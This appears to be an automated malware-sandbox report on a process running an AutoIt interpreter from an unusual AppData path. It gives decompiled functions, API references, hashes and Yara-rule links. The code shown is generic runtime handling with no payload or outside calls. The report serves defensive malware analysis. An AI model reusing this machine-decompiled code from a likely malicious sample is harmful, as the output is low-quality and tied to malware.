Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLoadMessageModuleString__swprintf_memmove_wcslen_wprintf
String ID: Error: $%s (%d) : ==> %s.: %s %s$.$Line %d (File "%s"):$Line %d:
API String ID: 455036304-4153970271
Opcode ID: d020439501df15abe1862b5ceddfbff3cd8cfe5cee524a27bffddd584154e251
Instruction ID: ab59f21538bbc224056616e7cbd9d8da869fa8adfdf3b75224251e4dd4ffcfd5
Opcode Fuzzy Hash: d020439501df15abe1862b5ceddfbff3cd8cfe5cee524a27bffddd584154e251
Instruction Fuzzy Hash: 3631A072B0024DABCB05EF95CC4A9AF73B8EB88751F404055FA04B7242D671BE45DBB1

Uniqueness

Uniqueness Score: -1.00%

Function 00F46DDB, Relevance: 18.3, APIs: 12, Instructions: 310
COMMON

Download Yara Rule

C-Code - Quality: 29%

			E00F46DDB(intOrPtr* _a4, signed short* _a8) {
				char _v8;
				signed short* _v12;
				char _v16;
				char _v20;
				char _v24;
				char _v36;
				signed short _v44;
				void* __edi;
				void* __esi;
				signed int _t100;
				intOrPtr _t105;
				signed int _t109;
				signed int _t110;
				signed int _t113;
				void* _t120;
				signed int _t135;
				signed int _t139;
				signed int _t146;
				signed short* _t154;
				void* _t155;
				signed int _t157;
				signed short _t161;
				signed int _t183;
				void* _t199;
				signed short* _t202;
				signed int _t204;
				signed int _t208;
				signed int _t210;
				intOrPtr* _t212;
				void* _t218;
				void* _t219;
				void* _t220;
				void* _t227;

				_t154 = _a8;
				_t100 =  *_t154 & 0x0000ffff;
				_t219 = _t218 - 0x2c;
				_t212 = _a4;
				if((_t100 & 0x00002000) == 0) {
					L13:
					return 0;
				} else {
					if((_t100 & 0x00004000) == 0) {
						_t154 = _t154[4];
						_v12 = _t154;
						_t202 = _t154;
					} else {
						_t202 =  *(_t154[4]);
						_v12 = _t202;
					}
					if(_t202 == 0) {
						goto L13;
					} else {
						E00EEEB70(_t212, _t154);
						 *((intOrPtr*)( *_t212 + 0x210)) =  *_t202;
						_t105 =  *_t212;
						_t155 = 0;
						if( *((intOrPtr*)(_t105 + 0x210)) > 0) {
							_t13 =  &(_t202[8]); // 0xf59a1a
							_t199 = 0x10c;
							_a8 = _t13;
							do {
								_a8 =  &(_a8[4]);
								 *(_t199 + _t105) =  *_a8;
								_t105 =  *_t212;
								_t155 = _t155 + 1;
								_t199 = _t199 + 4;
							} while (_t155 <  *((intOrPtr*)(_t105 + 0x210)));
						}
						E00EEEA50(_t212, _t155, 0);
						_t146 =  *( *_t212 + 8);
						_t157 = _t202[1] & 0x0000ffff;
						_t109 = _t157 & 0x00000f00;
						_t220 = _t219 + 4;
						_t227 = _t109 - 0x400;
						if(_t227 > 0) {
							__eflags = _t109 - 0x800;
							if(_t109 == 0x800) {
								_t110 =  &_v24;
								__imp__#23(_t202, _t110);
								__eflags = _t110;
								if(_t110 >= 0) {
									_t204 = 0;
									__eflags = _t146;
									if(__eflags > 0) {
										_a4 = 0;
										do {
											_push(0x10);
											_t113 = E00EF14F7(_t204, _t212, __eflags);
											_t220 = _t220 + 4;
											__eflags = _t113;
											if(_t113 == 0) {
												_t113 = 0;
												__eflags = 0;
											} else {
												 *_t113 = 0;
												 *((intOrPtr*)(_t113 + 8)) = 1;
												 *((intOrPtr*)(_t113 + 0xc)) = 0;
											}
											 *( *((intOrPtr*)( *_t212)) + _t204 * 4) = _t113;
											_v44 = 0x400c;
											_v36 = _a4 + _v24;
											E00F471BD( *( *((intOrPtr*)( *_t212)) + _t204 * 4),  &_v44);
											_a4 = _a4 + 0x10;
											_t204 = _t204 + 1;
											__eflags = _t204 - _t146;
										} while (__eflags < 0);
									}
									goto L57;
								}
								goto L58;
							} else {
								goto L30;
							}
						} else {
							if(_t227 == 0) {
								__imp__#23(_t202,  &_v20);
								__eflags = _t109;
								if(_t109 < 0) {
									goto L58;
								} else {
									_t208 = 0;
									__eflags = _t146;
									if(__eflags > 0) {
										do {
											_push(0x10);
											_t135 = E00EF14F7(_t208, _t212, __eflags);
											_t220 = _t220 + 4;
											__eflags = _t135;
											if(_t135 == 0) {
												_t135 = 0;
												__eflags = 0;
											} else {
												 *_t135 = 0;
												 *((intOrPtr*)(_t135 + 8)) = 1;
												 *((intOrPtr*)(_t135 + 0xc)) = 0;
											}
											 *( *((intOrPtr*)( *_t212)) + _t208 * 4) = _t135;
											_v44 = 9;
											_v36 = _v20 + _t208 * 4;
											E00F471BD( *( *((intOrPtr*)( *_t212)) + _t208 * 4),  &_v44);
											_t208 = _t208 + 1;
											__eflags = _t208 - _t146;
										} while (__eflags < 0);
									}
									__imp__#24(_v12);
									return 1;
								}
							} else {
								if(_t109 == 0x100) {
									__imp__#23(_t202,  &_v16);
									__eflags = _t109;
									if(_t109 >= 0) {
										_t210 = 0;
										__eflags = _t146;
										if(__eflags > 0) {
											do {
												_push(0x10);
												_t139 = E00EF14F7(_t210, _t212, __eflags);
												_t220 = _t220 + 4;
												__eflags = _t139;
												if(_t139 == 0) {
													_t139 = 0;
													__eflags = 0;
												} else {
													 *_t139 = 0;
													 *((intOrPtr*)(_t139 + 8)) = 1;
													 *((intOrPtr*)(_t139 + 0xc)) = 0;
												}
												 *( *((intOrPtr*)( *_t212)) + _t210 * 4) = _t139;
												_v44 = 8;
												_v36 =  *((intOrPtr*)(_v16 + _t210 * 4));
												E00F471BD( *( *((intOrPtr*)( *_t212)) + _t210 * 4),  &_v44);
												_t210 = _t210 + 1;
												__eflags = _t210 - _t146;
											} while (__eflags < 0);
										}
										L57:
										__imp__#24(_v12);
									}
									goto L58;
								} else {
									if(_t109 != 0x200) {
										L30:
										__eflags = _t157;
										if(_t157 >= 0) {
											goto L12;
										} else {
											__imp__#77(_t202,  &_a8);
											_t161 = _a8;
											_t120 = (_t161 & 0x0000ffff) + 0xfffffffe;
											__eflags = _t120 - 0x15;
											if(_t120 > 0x15) {
												L42:
												_t183 = _t161 & 0x0000ffff;
												__eflags = _t183 & 0x00004000;
												if((_t183 & 0x00004000) == 0) {
													goto L12;
												} else {
													goto L43;
												}
											} else {
												_t51 = _t120 + 0xf471a7; // 0x6608558b
												switch( *((intOrPtr*)(( *_t51 & 0x000000ff) * 4 +  &M00F4718F))) {
													case 0:
														_a4 = 2;
														goto L36;
													case 1:
														L43:
														_a4 = 4;
														goto L36;
													case 2:
														_a4 = 8;
														goto L36;
													case 3:
														_a4 = 1;
														L36:
														_t121 =  &_v8;
														_push(_t121);
														_push(_t202);
														__imp__#23();
														__eflags = _t121;
														if(_t121 < 0) {
															L58:
															return 1;
														} else {
															_t205 = 0;
															__eflags = _t146;
															if(__eflags > 0) {
																do {
																	_push(0x10);
																	_t123 = E00EF14F7(_t205, _t212, __eflags);
																	_t220 = _t220 + 4;
																	__eflags = _t123;
																	if(_t123 == 0) {
																		_t123 = 0;
																		__eflags = 0;
																	} else {
																		 *_t123 = 0;
																		 *((intOrPtr*)(_t123 + 8)) = 1;
																		 *((intOrPtr*)(_t123 + 0xc)) = 0;
																	}
																	 *( *((intOrPtr*)( *_t212)) + _t205 * 4) = _t123;
																	_t124 = _a8;
																	_t163 = _t124 & 0x0000ffff;
																	__eflags = _t163 & 0x00004000;
																	if((_t163 & 0x00004000) == 0) {
																		_t187 = 0x00004000 | _t124;
																		__eflags = _t187;
																		_v44 = _t187;
																		_v36 = _v8;
																	} else {
																		_v44 = _t124;
																		E00EF0D80( &_v36, _v8, _a4);
																		_t220 = _t220 + 0xc;
																	}
																	E00F471BD( *( *((intOrPtr*)( *_t212)) + _t205 * 4),  &_v44);
																	_v8 = _v8 + _a4;
																	_t205 = _t205 + 1;
																	__eflags = _t205 - _t146;
																} while (__eflags < 0);
															}
															_push(_v12);
															__imp__#24();
															return 1;
														}
														goto L59;
													case 4:
														_t130 =  &_v8;
														_push(_t130);
														_push(_t202);
														__imp__#23();
														__eflags = _t130;
														if(__eflags < 0) {
															goto L12;
														} else {
															E00EF0D80(E00F330A7(_v8, __eflags, _t212, _t146), _v8, _t146);
															_push(_t202);
															__imp__#24();
															return 1;
														}
														goto L59;
													case 5:
														goto L42;
												}
											}
										}
									} else {
										L12:
										E00EE9190(_t202, _t212);
										goto L13;
									}
								}
							}
						}
					}
				}
				L59:
			}

0x00f46dde
0x00f46de1
0x00f46de4
0x00f46de9
0x00f46df2
0x00f46ea0
0x00f46ea8
0x00f46df8
0x00f46dfd
0x00f46e09
0x00f46e0c
0x00f46e0f
0x00f46dff
0x00f46e02
0x00f46e04
0x00f46e04
0x00f46e13
0x00000000
0x00f46e19
0x00f46e1b
0x00f46e25
0x00f46e2b
0x00f46e2d
0x00f46e35
0x00f46e37
0x00f46e3a
0x00f46e3f
0x00f46e42
0x00f46e47
0x00f46e4b
0x00f46e4e
0x00f46e50
0x00f46e51
0x00f46e54
0x00f46e42
0x00f46e60
0x00f46e67
0x00f46e6a
0x00f46e70
0x00f46e75
0x00f46e78
0x00f46e7d
0x00f46fa6
0x00f46fab
0x00f47109
0x00f4710e
0x00f47114
0x00f47116
0x00f47118
0x00f4711a
0x00f4711c
0x00f4711e
0x00f47121
0x00f47121
0x00f47123
0x00f47128
0x00f4712b
0x00f4712d
0x00f47145
0x00f47145
0x00f4712f
0x00f4712f
0x00f47135
0x00f4713c
0x00f4713c
0x00f4714b
0x00f4715b
0x00f4715f
0x00f4716b
0x00f47170
0x00f47174
0x00f47175
0x00f47175
0x00f47121
0x00000000
0x00f4711c
0x00000000
0x00000000
0x00000000
0x00000000
0x00f46e83
0x00f46e83
0x00f46f29
0x00f46f2f
0x00f46f31
0x00000000
0x00f46f37
0x00f46f37
0x00f46f39
0x00f46f3b
0x00f46f3d
0x00f46f3d
0x00f46f3f
0x00f46f44
0x00f46f47
0x00f46f49
0x00f46f61
0x00f46f61
0x00f46f4b
0x00f46f4b
0x00f46f51
0x00f46f58
0x00f46f58
0x00f46f67
0x00f46f77
0x00f46f7b
0x00f46f87
0x00f46f8c
0x00f46f8d
0x00f46f8d
0x00f46f3d
0x00f46f95
0x00f46fa3
0x00f46fa3
0x00f46e89
0x00f46e8e
0x00f46eb0
0x00f46eb6
0x00f46eb8
0x00f46ebe
0x00f46ec0
0x00f46ec2
0x00f46ecb
0x00f46ecb
0x00f46ecd
0x00f46ed2
0x00f46ed5
0x00f46ed7
0x00f46eef
0x00f46eef
0x00f46ed9
0x00f46ed9
0x00f46edf
0x00f46ee6
0x00f46ee6
0x00f46ef5
0x00f46f00
0x00f46f09
0x00f46f15
0x00f46f1a
0x00f46f1b
0x00f46f1b
0x00f46f1f
0x00f47179
0x00f4717d
0x00f4717d
0x00000000
0x00f46e90
0x00f46e95
0x00f46fb1
0x00f46fb1
0x00f46fb3
0x00000000
0x00f46fb9
0x00f46fbe
0x00f46fc4
0x00f46fcb
0x00f46fce
0x00f46fd1
0x00f47079
0x00f47079
0x00f4707c
0x00f47082
0x00000000
0x00000000
0x00000000
0x00000000
0x00f46fd7
0x00f46fd7
0x00f46fde
0x00000000
0x00f47067
0x00000000
0x00000000
0x00f47088
0x00f47088
0x00000000
0x00000000
0x00f47070
0x00000000
0x00000000
0x00f4701f
0x00f47026
0x00f47026
0x00f47029
0x00f4702a
0x00f4702b
0x00f47031
0x00f47033
0x00f47183
0x00f4718b
0x00f47039
0x00f47039
0x00f4703b
0x00f4703d
0x00f47043
0x00f47043
0x00f47045
0x00f4704a
0x00f4704d
0x00f4704f
0x00f47091
0x00f47091
0x00f47051
0x00f47051
0x00f47057
0x00f4705e
0x00f4705e
0x00f47097
0x00f4709a
0x00f4709e
0x00f470a1
0x00f470a7
0x00f470c8
0x00f470c8
0x00f470ce
0x00f470d2
0x00f470a9
0x00f470ac
0x00f470b9
0x00f470be
0x00f470be
0x00f470e0
0x00f470e8
0x00f470eb
0x00f470ec
0x00f470ec
0x00f47043
0x00f470f7
0x00f470f8
0x00f47106
0x00f47106
0x00000000
0x00000000
0x00f46fe5
0x00f46fe8
0x00f46fe9
0x00f46fea
0x00f46ff0
0x00f46ff2
0x00000000
0x00f46ff8
0x00f47005
0x00f4700d
0x00f4700e
0x00f4701c
0x00f4701c
0x00000000
0x00000000
0x00000000
0x00000000
0x00f46fde
0x00f46fd1
0x00f46e9b
0x00f46e9b
0x00f46e9b
0x00000000
0x00f46e9b
0x00f46e95
0x00f46e8e
0x00f46e83
0x00f46e7d
0x00f46e13
0x00000000

APIs

SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00F46EB0
SafeArrayAccessData.OLEAUT32(0000007F,0000007F), ref: 00F46F29
SafeArrayGetVartype.OLEAUT32(0000007F,?), ref: 00F46FBE
SafeArrayAccessData.OLEAUT32(00000000,?), ref: 00F46FEA
_memmove.LIBCMT ref: 00F47005
SafeArrayUnaccessData.OLEAUT32(00000000), ref: 00F4700E
SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00F4702B
_memmove.LIBCMT ref: 00F470B9
SafeArrayAccessData.OLEAUT32(0000007F,?), ref: 00F4710E
SafeArrayUnaccessData.OLEAUT32(00000004), ref: 00F470F8

Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1546
Part of subcall function 00EF14F7: std::exception::exception.LIBCMT ref: 00EF1560
Part of subcall function 00EF14F7: __CxxThrowException@8.LIBCMT ref: 00EF1571

SafeArrayUnaccessData.OLEAUT32(00F59A0A), ref: 00F46F95

Part of subcall function 00EF14F7: _malloc.LIBCMT ref: 00EF1511

SafeArrayUnaccessData.OLEAUT32(00F59A0A), ref: 00F4717D

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$Data$Access$Unaccess$_memmovestd::exception::exception$Exception@8ThrowVartype_malloc
String ID:
API String ID: 2170234536-0
Opcode ID: bdfdaa4d758865b2bbd693cd2d849e58e786e705c70d29b6f3b027c68e35a718
Instruction ID: e3518b8dfe3c2a3c1207626773ec1f2ff28f9f6bf74d20fe84615c85d59f1dfa
Opcode Fuzzy Hash: bdfdaa4d758865b2bbd693cd2d849e58e786e705c70d29b6f3b027c68e35a718
Instruction Fuzzy Hash: 62B103756002099FD704DF58D884BAABBB5FF89310F148069EE44DB392D736E885EBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F5931C, Relevance: 16.6, APIs: 11, Instructions: 147
memoryCOMMON

Download Yara Rule

C-Code - Quality: 28%

			E00F5931C(void* __eflags, void* __fp0, char _a4) {
				char _v8;
				intOrPtr _v12;
				char _v16;
				char _v20;
				signed int _v24;
				signed int _v28;
				char _v36;
				signed int _v40;
				intOrPtr _v44;
				char _v52;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* _t58;
				intOrPtr _t61;
				char* _t62;
				signed int _t94;
				void* _t102;
				void* _t103;
				intOrPtr _t104;
				signed int _t108;
				signed int _t111;
				void* _t112;
				void* _t123;

				_t123 = __fp0;
				_t58 = E00F123B2( &_a4, 0);
				_t102 = _t58;
				__imp__#41(0xc, _t102,  &_v8);
				if(_t58 < 0) {
					L13:
					E00EE9190(_t102,  &_a4);
					return 0;
				} else {
					_t94 = 0;
					if(_t102 > 0) {
						do {
							_t4 = _t94 + 1; // 0x1
							_t111 = _t4;
							 *((intOrPtr*)(_v8 + 0x14 + _t94 * 8)) = 0;
							 *((intOrPtr*)(_v8 + 0x10 + _t94 * 8)) = E00F123B2( &_a4, _t111);
							_t94 = _t111;
						} while (_t94 < _t102);
					}
					_t61 = _v8;
					 *((short*)(_t61 + 2)) = 0x880;
					 *((intOrPtr*)(_v8 + 4)) = 0x10;
					__imp__#37(_v8);
					if(_t61 < 0) {
						__imp__#38(_v8);
						goto L13;
					} else {
						_t62 =  &_v36;
						__imp__#8(_t62);
						_v28 = 0;
						_v24 = 0;
						_v52 = 0;
						_v44 = 1;
						_v40 = 0;
						__imp__#23(_v8,  &_v16);
						if(_t62 < 0) {
							__imp__#39(_v8);
							__imp__#38(_v8);
							E00EE9190(_t102,  &_v52);
							__imp__#9( &_v36);
							E00EE9190(_t102,  &_a4);
							return 0;
						} else {
							_v12 = _v16;
							E00EE90D0( &_v52,  &_a4,  &_a4);
							_t103 = E00F591EA( &_a4,  &_v52,  &_v20);
							_t108 = 0;
							if(_t103 > 0) {
								_t91 = _v12;
								do {
									_t75 = _v20;
									if( *((intOrPtr*)(_v20 + _t108 * 4)) != 0) {
										_t112 = _t112 - 0x10;
										E00EEBBB0( *((intOrPtr*)(_t75 + _t108 * 4)), _t112, _t91, _t103);
										E00F50E0F(_t91, _t103, _t123);
										_t91 = _v12;
										__imp__#10(_v12,  &_v36,  &_v36);
									}
									_v12 = _v12 + 0x10;
									_t108 = _t108 + 1;
								} while (_t108 < _t103);
							}
							__imp__#24(_v8);
							_t104 = _v8;
							E00EE9190(_t104,  &_v52);
							__imp__#9( &_v36);
							_v28 = 0;
							_v24 = 0;
							E00EE9190(_t104,  &_a4);
							return _t104;
						}
					}
				}
			}

0x00f5931c
0x00f5932c
0x00f59335
0x00f5933a
0x00f59342
0x00f594a7
0x00f594aa
0x00f594b7
0x00f59348
0x00f59348
0x00f5934c
0x00f5934e
0x00f59351
0x00f59351
0x00f59359
0x00f59365
0x00f59369
0x00f5936b
0x00f5934e
0x00f5936f
0x00f59377
0x00f5937e
0x00f59389
0x00f59391
0x00f594a1
0x00000000
0x00f59397
0x00f59397
0x00f5939b
0x00f593a9
0x00f593ac
0x00f593af
0x00f593b2
0x00f593b9
0x00f593bc
0x00f593c4
0x00f59468
0x00f59472
0x00f5947b
0x00f59484
0x00f5948d
0x00f5949a
0x00f593ca
0x00f593d4
0x00f593d7
0x00f593e6
0x00f593e8
0x00f593ec
0x00f593ee
0x00f593f4
0x00f593f4
0x00f593fb
0x00f59400
0x00f59405
0x00f5940e
0x00f59413
0x00f5941b
0x00f5941b
0x00f59421
0x00f59425
0x00f59426
0x00f593f4
0x00f5942e
0x00f59434
0x00f5943a
0x00f59443
0x00f5944e
0x00f59451
0x00f59454
0x00f59461
0x00f59461
0x00f593c4
0x00f59391

APIs

SafeArrayAllocDescriptorEx.OLEAUT32(0000000C,00000000,00F595B7), ref: 00F5933A
SafeArrayAllocData.OLEAUT32(00F595B7), ref: 00F59389
VariantInit.OLEAUT32(?), ref: 00F5939B
SafeArrayAccessData.OLEAUT32(00F595B7,?), ref: 00F593BC
VariantCopy.OLEAUT32(?,?), ref: 00F5941B
SafeArrayUnaccessData.OLEAUT32(00F595B7), ref: 00F5942E
VariantClear.OLEAUT32(?), ref: 00F59443
SafeArrayDestroyData.OLEAUT32(00F595B7), ref: 00F59468
SafeArrayDestroyDescriptor.OLEAUT32(00F595B7), ref: 00F59472
VariantClear.OLEAUT32(?), ref: 00F59484
SafeArrayDestroyDescriptor.OLEAUT32(00F595B7), ref: 00F594A1

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: ArraySafe$DataVariant$DescriptorDestroy$AllocClear$AccessCopyInitUnaccess
String ID:
API String ID: 2706829360-0
Opcode ID: 3cade0eda5ea31f4fe914588047cfde31dcdeaa59652c3b88cd9c699d3a25b5f
Instruction ID: 40e51a6e51c698e911e96095436fa26175e1aaa1509ff96206018e618cb1943d
Opcode Fuzzy Hash: 3cade0eda5ea31f4fe914588047cfde31dcdeaa59652c3b88cd9c699d3a25b5f
Instruction Fuzzy Hash: 09518072A0021DEBCB04DFE4DC848DEB7B9FF48300F108559EA05A7242DB749A46DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00F34262, Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 271libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000001,?), ref: 00F3433B
GetProcAddress.KERNEL32(?,AU3_FreeVar), ref: 00F34354
_malloc.LIBCMT ref: 00F34392
_strlen.LIBCMT ref: 00F343F0
_malloc.LIBCMT ref: 00F343FA
_free.LIBCMT ref: 00F34550
_free.LIBCMT ref: 00F34562

Strings

AU3_FreeVar, xrefs: 00F3434E

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc_free_malloc$_strlen
String ID: AU3_FreeVar
API String ID: 3358881862-771828931
Opcode ID: 382c38435f00004f4dc7b822c8957410bc7a421861d62261ae13c960e09d72b9
Instruction ID: 09f57b425dc3250aab293b1447a0c059216192af5f93179e5d3a36799fca6496
Opcode Fuzzy Hash: 382c38435f00004f4dc7b822c8957410bc7a421861d62261ae13c960e09d72b9
Instruction Fuzzy Hash: C0B1A0B5A0020ADFCB00DF64C885A6AB7F5FF88324F2481A9E9159B362D735FD51DB90

Uniqueness

Uniqueness Score: -1.00%

Function 00F3FB23, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 147windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00F3FB72
GetMenuItemInfoW.USER32(?,FFFFFFFF,00000000,00000030), ref: 00F3FBBF
IsMenu.USER32 ref: 00F3FBD6
CreatePopupMenu.USER32(00000000,?,745E33D0), ref: 00F3FC0E
GetMenuItemCount.USER32 ref: 00F3FC74
InsertMenuItemW.USER32(?,?,00000001,00000030), ref: 00F3FC9D

Strings

0, xrefs: 00F3FB6B
2, xrefs: 00F3FBF2

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID: 0$2
API String ID: 3311875123-3793063076
Opcode ID: 42e449b3c13d0436d0fe5757bb97dbb131fd9a17a9bef7c8defbe3647f0567be
Instruction ID: 3763bb11b167b47ed00a72563cfe96fe49de8e91e22c6ad2ecf83ae745b9dc98
Opcode Fuzzy Hash: 42e449b3c13d0436d0fe5757bb97dbb131fd9a17a9bef7c8defbe3647f0567be
Instruction Fuzzy Hash: F651C371D4020D9BDB20CF68D884BAEBBA4EF44374F14852DEC25D72D1D3749949DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00EE1E00, Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 118windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(?,00000065,?,0000007F), ref: 00F07AB3

Part of subcall function 00EE2390: _wcslen.LIBCMT ref: 00EE239D
Part of subcall function 00EE2390: _memmove.LIBCMT ref: 00EE23C3

_memset.LIBCMT ref: 00EE1E90
_wcsncpy.LIBCMT ref: 00EE1ED2
_wcscpy.LIBCMT ref: 00EE1EF1
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00EE1F03
__swprintf.LIBCMT ref: 00F07B2D

Strings

Line %d: , xrefs: 00F07B27
AutoIt - , xrefs: 00EE1E64

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy_wcslen_wcsncpy
String ID: Line %d: $AutoIt -
API String ID: 1629950421-4094128768
Opcode ID: e82cd9a61e92ab76433b8430dd9362dabbbb146fc411025c774c0952d8b33e6a
Instruction ID: 0b5260f65ce7139c86d90144491d670bb776d5689366a56a09b304690aac8b25
Opcode Fuzzy Hash: e82cd9a61e92ab76433b8430dd9362dabbbb146fc411025c774c0952d8b33e6a
Instruction Fuzzy Hash: 534193719183899BD320FB20DC41BEF73E9BF84314F44192DF598A2191EB74AA49DB92

Uniqueness

Uniqueness Score: -1.00%

Function 00F1401B, Relevance: 14.0, APIs: 6, Strings: 2, Instructions: 49windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00F890E8,?,00000100,?,C:\Users\user\AppData\Roaming\22032878\xaso.fhr), ref: 00F1403E
LoadStringW.USER32(00000000), ref: 00F14047
GetModuleHandleW.KERNEL32(00000000,00001389,?,00000100), ref: 00F1405C
LoadStringW.USER32(00000000), ref: 00F1405F
_wprintf.LIBCMT ref: 00F14088
MessageBoxW.USER32(00000000,?,?,00011010), ref: 00F140A0

Strings

C:\Users\user\AppData\Roaming\22032878\xaso.fhr, xrefs: 00F14027
%s (%d) : ==> %s: %s %s, xrefs: 00F14083

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685734924.0000000000F8B000.00000002.00020000.sdmp Download File

Similarity

API ID: HandleLoadModuleString$Message_wprintf
String ID: %s (%d) : ==> %s: %s %s$C:\Users\user\AppData\Roaming\22032878\xaso.fhr
API String ID: 3648134473-822124863
Opcode ID: db744ffa5f2b9ac0ec35e6780d34b744b350c774b64e34d4de049e9c78ce31f3
Instruction ID: 0de4f7c361429ffca0432f222bbf6a4f54e3953f74af5dbd9fff767f788a10d1
Opcode Fuzzy Hash: db744ffa5f2b9ac0ec35e6780d34b744b350c774b64e34d4de049e9c78ce31f3
Instruction Fuzzy Hash: CA0144B1A5431C7AEB60A795DC06FF6376CD7C4B11F00418ABB48AA0809AF06D849BB1

Uniqueness

Uniqueness Score: -1.00%

Function 00F3E9FC, Relevance: 12.6, APIs: 6, Strings: 1, Instructions: 325timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 00F3EA43
VariantCopy.OLEAUT32(00000000), ref: 00F3EA4D
VariantClear.OLEAUT32 ref: 00F3EA5A
VariantTimeToSystemTime.OLEAUT32 ref: 00F3EBF3
__swprintf.LIBCMT ref: 00F3EC20
VariantInit.OLEAUT32(00000000), ref: 00F3ECDB

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00F3EC1A

Memory Dump Source

Source File: 00000001.00000002.685525904.0000000000EE1000.00000020.00020000.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000001.00000002.685520005.0000000000EE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685673321.0000000000F62000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.685696773.0000000000F70000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685703287.0000000000F71000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.685712720.0000000000F72000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.685725786.0000000000F87000.00000004.00020000.sdmp Download File
